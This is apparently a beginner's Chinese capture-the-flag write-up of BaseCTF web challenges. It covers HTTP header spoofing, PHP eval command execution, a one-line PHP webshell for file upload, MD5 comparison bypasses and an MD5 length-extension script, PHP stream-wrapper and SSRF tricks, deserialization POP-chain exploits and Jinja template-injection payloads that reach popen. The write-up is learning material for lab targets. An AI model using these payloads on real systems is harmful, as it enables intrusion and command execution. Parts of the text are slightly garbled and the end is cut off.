Week1

刚入门写的 wp

一、A dark room

这种小游戏的flag一般是藏在这个源代码里面的,可以用F12看源代码看元素找flag,其他的可以看网络请求,通常在这种游戏过关的题里面,通常查看看js代码,里面可能藏flag。其他的题可能藏在javascript里面。

二、HTTP是什么呀

关于HTTP超文本传输协议HTTP)是一个用于传输超媒体文档(例如 HTML)的应用层协议。它是为Web 浏览器与 Web 服务器之间的通信而设计的,但也可以用于其他目的。HTTP 遵循经典的客户端—服务端模型,客户端打开一个连接以发出请求,然后等待直到收到服务器端响应。HTTP 是无状态协议,这意味着服务器不会在两个请求之间保留任何数据(状态)

参考这篇文章:https://developer.mozilla.org/zh-CN/docs/Web/HTTP

1.GET参数

查看新手指引和视频内容,解这道题需要下载Hackbar

打开下载链接发现响应时间太长了,看攻略需要科学上网一下,之前我是没用过ladder的,花了一上午从B站、QQ、Github等平台上找资料学习,最后下载好了。

关于HackBar

HackBar是一个用于浏览器的扩展插件,主要用于进行网络渗透测试和安全评估。它提供了一系列方便的工具和功能,可以帮助用户执行各种网络攻击和测试,包括 XSS、SQL 注入、CSRF、路径穿越等。以下是 HackBar插件的一些主要特点和功能:

自定义请求发送:HackBar允许用户自定义 HTTP 请求,并可以通过插件直接发送这些请求。用户可以手动构造 GET、POST、PUT、DELETE 等类型的请求,并添加自定义的 HTTP 头部、参数等信息。

编码/解码工具:HackBar提供了各种编码和解码工具,包括 URL 编码、Base64 编码、MD5 加密等。这些工具可用于在渗透测试中对数据进行编码或解码,以绕过一些安全机制或进行数据处理。

漏洞检测:HackBar可以帮助用户检测网站中常见的漏洞,例如 XSS、SQL 注入、CSRF 等。用户可以通过插件发送特定的测试请求,然后分析响应来确定目标网站是否存在漏洞。

Cookie 管理:HackBar允许用户管理浏览器中的 Cookie,包括添加、编辑、删除 Cookie 等操作。这对于进行身份验证、绕过登录限制等方面的渗透测试非常有用。

参数注入:HackBar提供了一个参数注入工具,可以帮助用户在 URL 中注入自定义的参数。用户可以使用这个工具测试网站的安全性,尝试发现潜在的漏洞。

总的来说,HackBar是一款功能丰富、易于使用的浏览器插件,适用于进行各种网络渗透测试和安全评估任务。它提供了许多有用的工具和功能,可以帮助安全专家快速有效地发现和利用网站中的漏洞。

参考资料:https://blog.csdn.net/2302_82189125/article/details/137762983

关于URL:

Internet上的每一个网页都具有一个唯一的名称标识,通常称之为URL(Uniform Resource Locator, 统一资源定位器)。它是www的统一资源定位标志,简单地说URL就是web地址,俗称“网址”。URL是对互联网上得到的资源的位置和访问方法的一种简洁表示,是互联网上标准资源的地址。URL它具有全球唯一性,正确的URL应该是可以通过浏览器打开此网页的,但如果您访问外网,会提示网页无法打开,这并不能说明这个URL是错误的。只不过在国内不能访问而已。

参考资料:https://blog.csdn.net/chen1415886044/article/details/103914255

百分号编码的内容查了一下:URL编码(也称为百分号编码)是一种在URL中表示特殊字符的方法。它将非字母数字字符替换为%后跟两个表示字符ASCII值的十六进制数字。这种编码用于确保这些字符可以安全地包含在URL中,在传输和解析过程中不会引起错误

特殊字符及其编码意义:

空格(Space):%20 引号(”):%22 百分号(%):%25 加号(+):%2B 斜杠(/):%2F

冒号(:):%3A 问号(?):%3F@ 符号(@):%40 链接符号(#):%23

解这道题首先要GET参数basectf,GET参数我们需要问号来传递。

我当时直接传递成这样了,发现问题是我这个问号是中文的,并且%的内容没有转译过去。

在HackBar中用ENCODING中修正后就成功了

2.POST参数

HTTP四种请求:POST、GET、DELETE、PUT。

POST请求用于向指定资源提交数据,通常会导致服务器端的状态发生变化。例如,在Web 表单中填写用户信息并提交时,就是使用POST请求方式将表单数据提交到服务器存储。使用POST请求方式提交的数据会被包含在请求体中,而不像GET请求方式那样包含在URL 中。因此,POST请求可以提交比GET更大的数据量,并且相对更安全。

GET请求用于向指定资源发出请求,请求中包含了资源的URL 和请求参数。服务器端通过解析请求参数来返回相应的资源,不会修改服务器端的状态。使用GET请求方式提交的数据会被包含在URL中,因此易于被缓存和浏览器保存,但也因此不适合用于提交敏感数据。

DELETE请求用于请求服务器删除指定的资源,可以理解为对服务器上的资源进行删除操作。使用 DELETE 方式请求会导致指定的资源被永久删除,因此需要谨慎使用。

PUT请求用于向服务器更新指定资源,可以理解为对服务器上的资源进行修改操作。使用PUT请求方式会覆盖原有的资源内容,因此需要谨慎使用。

参考资料:https://developer.aliyun.com/article/1476820

这道题打开下方的use POST method 输入Base=fl@g再传递就行了。

Cookie主要是存储用户登录网站时的数据,这样的话每一次访问网站的时候都会把Cookie带上,这样的话就是一个有状态的HTTP。

Get 和post都是拿&符号分隔的,cookie是分号来分隔的。

这道题在右下角Name一栏中输入Cookie,Value一栏中输入c00k13=i can’t eat it就行了。

4.用户代理(User-Agent)

User Agent中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等简单来说,UA是浏览器的身份证,让服务器知道你是谁?服务器通过识别UA,来响应适合你电脑、手机…的网络页面

原文链接:https://blog.csdn.net/qq_42680471/article/details/120706248

这道题也是相同的思路,在Name一栏中填入User-Agent,Value一栏中填入Base再传递即可。

5.来源(Referer)

Referer 请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用 Referer 请求头识别访问来源,可能会以此进行统计分析、日志记录以及缓存优化等。Referer的正确英语拼法是referrer 。由于早期HTTP规范的拼写错误,为了保持向后兼容就将错就错了。其它网络技术的规范企图修正此问题,使用正确拼法,所以目前拼法不统一。

referer的作用:

1.防盗链:防盗链是一种通过服务器端编程防止资源被盗用的技术,主要通过URL过滤和检查HTTP协议中的referer字段来实现。图片服务器每次取到Referer来判断一下是不是我自己的域名,如果是就继续访问,不是就拦截。

2.防止恶意请求:静态请求是*.html结尾的,动态请求是*.shtml,那么由此可以这么用,所有的*.shtml请求,必须 Referer为自己的网站。

这道题基本思路和上面的差不多,在Name一栏中填入Referer,Value一栏中填入Base再传递即可。

6.你的IP

IP地址(Internet Protocol Address)是指互联网协议地址,又译为网际协议地址。IP地址是IP协议提供的一种统一的地址格式,它为互联网上的每一个网络和每一台主机分配一个逻辑地址,以此来屏蔽物理地址的差异。

同时写网站的时候做好X-Forward-For可以防止有对它内部进行的一些的攻击,也可以伪造IP。

X-Forwarded-For(XFF):是用来识别通过HTTP代理负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。

这道题的思路同上。在Name一栏中填入X-Forward-For,Value一栏中填入127.0.0.1再传递即可。

7.结束

结束的时候会出现这个页面,提醒我们在一个页面转到另一个页面中途会经历什么

这时候我们看一下这个网络这个选项卡里面发现每一次都经历了重定向,重定向(Redirect)就是通过各种方法将各种网络请求重新定个方向转到其它位置(如:网页重定向、域名的重定向、路由选择的变化也是对数据报文经由路径的一种重定向) ,通常是通过302的代码表示重定向,还有响应表头的location表示要把我重定向到哪里。

这里的flag就重定向了一次,当访问到success时,又重定向到Thank you,然后把这个flag的信息抹去了,所以最后一句话我理解的意思是不要忘了flag。这里直接拿flag还不行,需要Base64解码来拿flag。

三、喵喵喵´•ﻌ•`

PHP是一种流行的通用脚本语言,尤其适用于网络开发。从博客到世界上最流行的网站,PHP 都能为其提供快速、灵活和实用的支持。

这道题是接收GET参数DT,然后把GET的参数传入到eval中去。

关于eval函数:

eval() 函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。如果没有在代码字符串中调用return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

这道题需要使用system函数

关于system函数:

在PHP中,system函数是用来执行外部程序并显示输出的。这个函数与C语言中的system函数类似,它执行指定的命令并输出结果。如果PHP在服务器模块中运行,system函数还会尝试在每行输出完毕后自动刷新web服务器的输出缓存。要使用system函数,你需要提供要执行的命令作为参数。如果你还想获取命令执行后的返回状态,可以提供一个额外的参数来存储这个状态。system函数会返回命令输出的最后一行,如果执行失败则返回false。

上面可以直接传入代码、shell指令,语法还是前面?加DT=,接函数名system和(),()里的内容为’cat /flag’是代表cat根目录下的flag,中间空格不要忘,末尾有个分号“;”不要忘。之后就拿到flag了。

四、upload

文件上传,解这道题需要一句话木马 **<?php eval($_POST[0]); **

意思是直接把POST的参数里的0传到eval函数里面。

**<?php **表示这是个文件的开头,说明后面的所有内容都是PHP的代码。

eval() 函数表示要动态执行。

POST 是获取到一些POST的信息。

0 表示要获取POST参数的0参数传到eval()函数里面。

之后直接上传一句话木马,可以看到它后端的逻辑,就是把所有的文件移动到upload文件夹下面,然后获取它原本的文件名,之后把他拼接起来,把我们的文件给他放在那。

load的文件名eval这里,访问它就是空白页面

之后打开HackBar,手动用system构造eval,然后单引号里输入cat /flag,再传递就行了,得到flag提交。

五、md5绕过欸

进去后发现这一串代码:

该题目考的是php弱比较

关于php弱比较:

php是一种弱类型语言,对数据的类型要求并不严格,可以让数据类型互相转换。

在php中有两种比较符号: 一种是 ==,另外一种是 ===,都是用来比较两个数值是否相等的操作符,但他们也是有区别的:

== :弱等于。在比较前会先把两种字符串类型转成相同的再进行比较。简单的说,它不会比较变量类型,只比较值。至于怎么转换后续会再赘述。

=== :强等于。在比较前会先判断两种字符串类型是否相同再进行比较,如果类型不同直接返回不相等。既比较值也比较类型。

当要比较的两种字符串的类型相同时,== 和 === 是相等的。

PHP转换规则:

若一个数字和一个字符串进行比较或者进行运算时,PHP会把字符串转换成数字再进行比较。若字符串以数字开头,则取开头数字作为转换结果,不能转换为数字的字符串(例如”aaa”是不能转换为数字的字符串,而”123”或”123aa”就是可以转换为数字的字符串)或null,则转换为0;

数字和“e”开头加上数字的字符串(例如”1e123”)会当作科学计数法去比较;0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0;

当字符串被当作一个数值来处理时,如果该字符串没有包含’.’,‘e’和‘E’并且其数值在整形的范围之内,该字符串作为int来取值,其他所有情况下都被作为float来取值,并且字符串开始部分决定它的取值,开始部分为数字,则其值就是开始的数字,否则,其值为0。

原文链接:https://blog.csdn.net/qq_45671431/article/details/105456684

关于MD5:

MD5信息摘要算法(英语:MD5 Message-Digest Algorithm),一种被广泛使用的密码散列函数,可以产生出一个128位(16字节)的散列值(hash value),用于确保信息传输完整一致。MD5由美国密码学家罗纳德·李维斯特(Ronald Linn Rivest)设计,于1992年公开,用以取代MD4算法。这套算法的程序在 RFC 1321 标准中被加以规范。1996年后该算法被证实存在弱点,可以被加以破解,对于需要高度安全性的数据,专家一般建议改用其他算法,如SHA-2。2004年,证实MD5算法无法防止碰撞(collision),因此不适用于安全性认证,如SSL公开密钥认证或是数字签名等用途。

关于echo:

echo是一个至关重要的语言结构,它负责在浏览器中输出一个或多个字符串。

代码复制到Visual Studio Code

先分析代码:它是先引用了’flag.php’,之后是要传入GET参数的name、name2和post参数里面的passward、password2。在下面的判断中如果name不弱等于passward并且他们的md5值弱等于,就进入下一个判断,否则输出”错啦错啦”。在第二次的判断中如果name2不强等于passward2并且name2和passward2的md5值强等于,就输出flag,否则输出”再看看啊,马上绕过嘞!”

思路:这道题用md5绕过,弱比较可以使用数组或是以下md5后开头为0e的字符串任意两个来绕过:

  1. QNKCDZO
  2. 240610708
  3. s878926199a
  4. s155964671a
  5. s214587387a
  6. 0e215962017

因为在php中0e字符串都会被弱转换成0,所以这些字符原本是不一样的,但是经过md5转换后弱转换成一样的了,这样就算是绕过了。

强弱比较都可以直接用数组绕过,原理是:md5只针对的是字符串来进行处理,如果传入的其他的类型比如是数组,这时候就会返回一个null,同时会报错表示其不能对数组进行处理。所以他们数组的内容本来是不一致的,但是它们md5传回来都是null,是一样的,所以就算是绕过了。

所以在页面中打开KackBar传入name、name2、password和password2的对应的值就行了,值的内容如下:

此时flag就出现了,提交即可。

该题目说有推荐搜索关键词: 伪协议,SSRF,查了一下

关于伪协议:

伪协议包含:file:// 、 data:// 、 phar:// 、 php:// 、 gopher:// 、dict://等。PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过stream_wrapper_register() 来注册自定义的封装协议。伪协议常常用于文件包含漏洞之中。在php中能够造成文件包含的函数有include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readfile。

php支持的伪协议:

1 file:// — 访问本地文件系统

2 http:// — 访问 HTTP(s) 网址

3 ftp:// — 访问 FTP(s) URLs

4 php:// — 访问各个输入/输出流(I/O streams)

5 zlib:// — 压缩流

6 data:// — 数据(RFC 2397)

7 glob:// — 查找匹配的文件路径模式

8 phar:// — PHP 归档

9 ssh2:// — Secure Shell 2

10 rar:// — RAR

11 ogg:// — 音频流

12 expect:// — 处理交互式的流

fill://:

用于访问本地文件系统,并且不受allow_url_fopen,allow_url_include影响file://协议主要用于访问文件(绝对路径、相对路径以及网络路径),比如:http://www.xx.comfile=file:///etc/passsword

data://:

是数据流封装器,和php://相似,都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过包含你输入的payload来实现目的。它可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。

示例用法:

1、data://text/plain,

http://127.0.0.1/include.php?file=data://text/plain,

2、data://text/plain;base64,

http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

php://filter:

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。简单通俗的说,这是一个中间件,在读入或写入数据的时候对数据进行处理后输出的一个过程。resource=<要过滤的数据流>这个参数是必须的。它指定了你要筛选过滤的数据流。

关于SSRF:

一、SSRF是什么?

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

二、SSRF漏洞原理

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

比如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。利用的是服务端的请求伪造。ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务器。

SSRF攻击可能存在任何语言编写的应用,接下来将举例php中可能存在SSRF漏洞的函数。

1.file_get_contents

2.sockopen()

3.curl_exec()

参考文章:https://blog.csdn.net/qq_43378996/article/details/124050308

关于本题要用到的URL格式:

URL 的格式为 scheme://user:password@address:port/path?query#fragment

scheme:表示当前是什么协议

user:password:表示我要拿什么用户密码来验证

@后面address:表示跟上路径地址

port:表示端口号,也就是靶机

path:路径

?后面的query:表示get参数

#后面的fragment:#后面的内容是不会穿给服务端的,是传给前端进行解析

关于strpos() 函数:

strpos() 函数查找字符串在另一字符串中第一次出现的位置。返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。

关于include()函数:

PHP的include函数用于在一个文件中包含另一个文件的内容它可以用于创建可在多个页面重复使用的函数、页眉、页脚或元素。include语句会获取指定文件中存在的所有文本、代码或标记,并复制到使用include语句的文件中。与之类似的是require函数,它也用于包含其他文件的内容,但require只处理一次,而include每次都要进行读取和评估

关于127.0.0.1 IP地址

首先我们要先知道一个概念,凡是以127开头的IP地址,都是回环地址(Loop back address),其所在的回环接口一般被理解为虚拟网卡,并不是真正的路由器接口。

所谓的回环地址,通俗的讲,就是我们在主机上发送给127开头的IP地址的数据包会被发送的主机自己接收,根本传不出去,外部设备也无法通过回环地址访问到本机。

而127.0.0.1作为{127}集合中的一员,当然也是个回环地址。只不过127.0.0.1经常被默认配置为localhost的IP地址。
一般会通过ping 127.0.0.1来测试某台机器上的网络设备是否工作正常。

进入到题目中发现

分析代码:

只有中间的 file_get_contents($pen) == ‘Aura’ 才可绕过第一个

只有 strpos($challenge, http://jasmineaura.github.io) == 0 也就是challenge=http://jasmineaura.github.io才可绕过第二个

只有 strpos($blog_content, ‘已经收到Kengwang的礼物啦’) !== false ,也就是读出”已经收到Kengwang的礼物啦“才可绕过第三个

首先对于第一个判断, 他需要读取一个文件后内容是Aura,我们可以尝试通过data://伪协议来进行读取在文件读取的情况下, 利用 data:// 伪协议:

data://text/plain,一串内容 可以读取出 一串内容

data://text/plain;base64,xxxxxxxx 其中 xxxxxxx 会被 Base64 解码后再读取出内容

所以我们此处可以使用:“pen=data://text/plain,Aura“来进行绕过

上传一下发现已经绕过成功了

想要绕过下一个可以利用这个get参数让challenge=http://jasmineaura.github.io

即在后面&加上challenge=http://jasmineaura.github.io就行了

asmineaura.github.io表示为用户和密码,密码可以为空。@后面跟上真实的路径,真实的路径可以为自己的服务器,在自己的服务器写下这个页面,也可以利用之前的题目的靶机来写,也可以用当前的页面,因为当前页面有这个内容的。

所以直接可以@127.0.0.1获取当前页面这样的花就可以进行绕过

可以发现”请去博客里面写下感想哦~”已经没有了说明已经绕过成功了

最后就是gift,include函数会解析文件里的php标签,而flag写在了注释的位置,所以这里需要将其伪协议和过滤器来进行 base64 编码后输出

php://格式为:php://filter/read=convert.base64-encode/resource=index.php

来了

t style=”color:rgb(37, 37, 37);”>ez_ser

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
highlight_file(__FILE__);
error_reporting(0);

class re{
public $chu0;
public function __toString(){
if(!isset($this->chu0)){
return "I can not believes!";
}
$this->chu0->$nononono;
}
}

class web {
public $kw;
public $dt;

public function __wakeup() {
echo "lalalla".$this->kw;
}

public function __destruct() {
echo "ALL Done!";
}
}

class pwn {
public $dusk;
public $over;

public function __get($name) {
if($this->dusk != "gods"){
echo "什么,你竟敢不认可?";
}
$this->over->getflag();
}
}

class Misc {
public $nothing;
public $flag;

public function getflag() {
eval("system('cat /flag');");
}
}

class Crypto {
public function __wakeup() {
echo "happy happy happy!";
}

public function getflag() {
echo "you are over!";
}
}
$ser = $_GET['ser'];
unserialize($ser);
?>

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class re{
public $chu0;
}

class web {
public $kw;
public $dt;
}

class pwn {
public $dusk = "gods";
public $over;

}

class Misc {
public $nothing;
public $flag;

}


//web->re->pwn->Misc
$a = new web();
$a->kw = new re();
$a->kw->chu0 = new pwn();
$a->kw->chu0->over = new Misc();

echo serialize($a);

?>

一起吃豆豆

看代码就行了

ez

你听不到我的声音

ez 无回显 rce,重定向就行了

RCEisamazingwithspace

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
// check if space is present in the command
// use of preg_match to check if space is present in the command
if (preg_match('/\s/', $cmd)) {
echo 'Space not allowed in command';
exit;
}

// execute the command
system($cmd);

经典 $IFS

听说你很懂MD5?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
session_start();
highlight_file(__FILE__);
// 所以你说你懂 MD5 了?

$apple = $_POST['apple'];
$banana = $_POST['banana'];
if (!($apple !== $banana && md5($apple) === md5($banana))) {
die('加强难度就不会了?');
}

// 什么? 你绕过去了?
// 加大剂量!
// 我要让他成为 string
$apple = (string)$_POST['appple'];
$banana = (string)$_POST['bananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {
die('难吗?不难!');
}

// 你还是绕过去了?
// 哦哦哦, 我少了一个等于号
$apple = (string)$_POST['apppple'];
$banana = (string)$_POST['banananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {
die('嘻嘻, 不会了? 没看直播回放?');
}

// 你以为这就结束了
if (!isset($_SESSION['random'])) {
$_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}

// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';

$name = $_POST['name'] ?? 'user';

// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
die('不是管理员也来凑热闹?');
}

$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {
die('伪造? NO NO NO!');
}

// 认输了, 看样子你真的很懂 MD5
// 那 flag 就给你吧
echo "看样子你真的很懂 MD5";
echo file_get_contents('/flag'); 加强难度就不会了?

第一关是 md5 弱比较,数组绕过

第二关也是是 md5 弱比较,字符串绕过

第三关是 md5 强比较,fastcoll 绕过

第四关是 md5 长度拓展攻击,参考文章:https://www.cnblogs.com/p00mj/p/6288337.html

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
from struct import pack, unpack
from math import floor, sin

"""
MD5 Extension Attack
====================
@refs
https://github.com/shellfeel/hash-ext-attack
"""


class MD5:

def __init__(self):
self.A, self.B, self.C, self.D = \
(0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476) # initial values
self.r: list[int] = \
[7, 12, 17, 22] * 4 + [5, 9, 14, 20] * 4 + \
[4, 11, 16, 23] * 4 + [6, 10, 15, 21] * 4 # shift values
self.k: list[int] = \
[floor(abs(sin(i + 1)) * pow(2, 32))
for i in range(64)] # constants

def _lrot(self, x: int, n: int) -> int:
# left rotate
return (x << n) | (x >> 32 - n)

def update(self, chunk: bytes) -> None:
# update the hash for a chunk of data (64 bytes)
w = list(unpack('<' + 'I' * 16, chunk))
a, b, c, d = self.A, self.B, self.C, self.D

for i in range(64):
if i < 16:
f = (b & c) | ((~b) & d)
flag = i
elif i < 32:
f = (b & d) | (c & (~d))
flag = (5 * i + 1) % 16
elif i < 48:
f = (b ^ c ^ d)
flag = (3 * i + 5) % 16
else:
f = c ^ (b | (~d))
flag = (7 * i) % 16

tmp = b + \
self._lrot((a + f + self.k[i] + w[flag])
& 0xffffffff, self.r[i])
a, b, c, d = d, tmp & 0xffffffff, b, c

self.A = (self.A + a) & 0xffffffff
self.B = (self.B + b) & 0xffffffff
self.C = (self.C + c) & 0xffffffff
self.D = (self.D + d) & 0xffffffff

def extend(self, msg: bytes) -> None:
# extend the hash with a new message (padded)
assert len(msg) % 64 == 0
for i in range(0, len(msg), 64):
self.update(msg[i:i + 64])

def padding(self, msg: bytes) -> bytes:
# pad the message
length = pack('<Q', len(msg) * 8)

msg += b'\x80'
msg += b'\x00' * ((56 - len(msg)) % 64)
msg += length

return msg

def digest(self) -> bytes:
# return the hash
return pack('<IIII', self.A, self.B, self.C, self.D)


def verify_md5(test_string: bytes) -> None:
# (DEBUG function) verify the MD5 implementation
from hashlib import md5 as md5_hashlib

def md5_manual(msg: bytes) -> bytes:
md5 = MD5()
md5.extend(md5.padding(msg))
return md5.digest()

manual_result = md5_manual(test_string).hex()
hashlib_result = md5_hashlib(test_string).hexdigest()

assert manual_result == hashlib_result, "Test failed!"


def attack(message_len: int, known_hash: str,
append_str: bytes) -> tuple:
# MD5 extension attack
md5 = MD5()

previous_text = md5.padding(b"*" * message_len)
current_text = previous_text + append_str

md5.A, md5.B, md5.C, md5.D = unpack("<IIII", bytes.fromhex(known_hash))
md5.extend(md5.padding(current_text)[len(previous_text):])

return current_text[message_len:], md5.digest().hex()


if __name__ == '__main__':
message_len = int(input("[>] Input known text length: "))
known_hash = input("[>] Input known hash: ").strip()
append_text = input("[>] Input append text: ").strip().encode()

print("[*] Attacking...")

extend_str, final_hash = attack(message_len, known_hash, append_text)

from urllib.parse import quote
from base64 import b64encode

print("[+] Extend text:", extend_str)
print("[+] Extend text (URL encoded):", quote(extend_str))
print("[+] Extend text (Base64):", b64encode(extend_str).decode())
print("[+] Final hash:", final_hash)

# [>] Input known text length: 96
# [>] Input known hash: dc9f339a9fc71b4e32ada25b9f97d750
# [>] Input append text: admin
# [*] Attacking...
# [+] Extend text: b'\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00admin'
# [+] Extend text (URL encoded): %80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin
# [+] Extend text (Base64): gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAAAAAABhZG1pbg==
# [+] Final hash: 8f44cb3ab643f683b97dafa61f9c5cf5

playload:

1
apple[]=114514&banana[]=1919810&appple=s878926199a&bananana=s155964671a&apppple=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak&banananana=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak&name=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin&md5=8f44cb3ab643f683b97dafa61f9c5cf5

Hackbar 不行,必须抓包进行 POST

Really EZ POP

这次的反序列化让我学到了可以在类中再加一个函数访问私有成员

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
highlight_file(__FILE__);

class Sink
{
private $cmd = 'echo 123;';
public function __toString()
{
eval($this->cmd);
}
}

class Shark
{
private $word = 'Hello, World!';
public function __invoke()
{
echo 'Shark says:' . $this->word;
}
}

class Sea
{
public $animal;
public function __get($name)
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani();
}
}

class Nature
{
public $sea;

public function __destruct()
{
echo $this->sea->see;
}
}

if ($_POST['nature']) {
$nature = unserialize($_POST['nature']);
}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
class Sink
{
private $cmd = 'system("cat /*");';
public function __toString()
{
eval($this->cmd);
}
}

class Shark
{
private $word = 'Hello, World!';

public function SetWord($word)
{
$this->word = $word;
}
public function __invoke()
{
echo 'Shark says:' . $this->word;
}
}

class Sea
{
public $animal;
public function __get($name)
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani();
}
}

class Nature
{
public $sea;

public function __destruct()
{
echo $this->sea->see;
}
}

$a = new Nature();
$a->sea = new Sea();
$a->sea->animal = new shark();
$a->sea->animal->SetWord(new Sink());
echo urlencode(serialize($a));

// 官方的exp:
// $nature = new Nature();
// $sea = new Sea();
// $sink = new Sink();
// $shark = new Shark();

// $nature->sea = $sea;
// $sea->animal = $shark;
// $shark->SetWord($sink);
// echo urlencode(serialize($nature));

// 输出:
// O%3A6%3A%22Nature%22%3A1%3A%7Bs%3A3%3A%22sea%22%3BO%3A3%3A%22Sea%22%3A1%3A%7Bs%3A6%3A%22animal%22%3BO%3A5%3A%22Shark%22%3A1%3A%7Bs%3A11%3A%22%00Shark%00word%22%3BO%3A4%3A%22Sink%22%3A1%3A%7Bs%3A9%3A%22%00Sink%00cmd%22%3Bs%3A17%3A%22system%28%22cat+%2F%2A%22%29%3B%22%3B%7D%7D%7D%7D

数学大师

3s 内算 50 道题

注意乘除符号的转化

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import re       #Python的正则表达式库
import requests #用于发送HTTP请求(如GET、POST)的库

requests = requests.session() #开启会话
url = "http://gz.imxbt.cn:20262"
answer = 0 #初始化answer
i = 0

while (i < 100) : #控制循环小于100
responses = requests.post(url, data ={"answer": answer}) #发送post请求,第一个参数是url,第二个参数是数据
print(responses.text) #打印请求
i = i + 1
if "BaseCTF" in responses.text: #找到flag就停止
flag = re.search(r'BaseCTF\{[^}]+\}', responses.text) #匹配flag,[^}]代表BaseCTF{}里的东西直到}停止
print("flag:",flag.group(0))
break
match_string = r"(\d*)(.)(\d*)\?" #匹配数字和运算符
match = re.search(match_string,responses.text) #获取数字
num1 = int(match.group(1))
num2 = int(match.group(3)) #给数字赋值
if match.group(2) == "+" :
answer = num1 + num2
elif match.group(2) == "-" :
answer = num1 - num2
elif match.group(2) == "×" :
answer = num1 * num2 #注意运算符转换
elif match.group(2) == "÷" :
answer = num1 // num2 #注意运算符转换

Week3

复读机

过滤字符:

1
. {{ }} __ : " \

print 是可行的

关键字过滤

先看看有没有能 rce 的类

1
BaseCTF{%print(''['_''_cl''ass_''_']['_''_b''ase_''_']['_''_subcla''sses_''_']()[137])%}

看看目录

1
BaseCTF{%print(''['_''_cl''ass_''_']['_''_b''ase_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_globa''ls_''_']['po''pen']('ls')['rea''d']())%}

但是斜杠和反斜杠背过滤了,所以我们可以考虑 chr 拼接

1
2
3
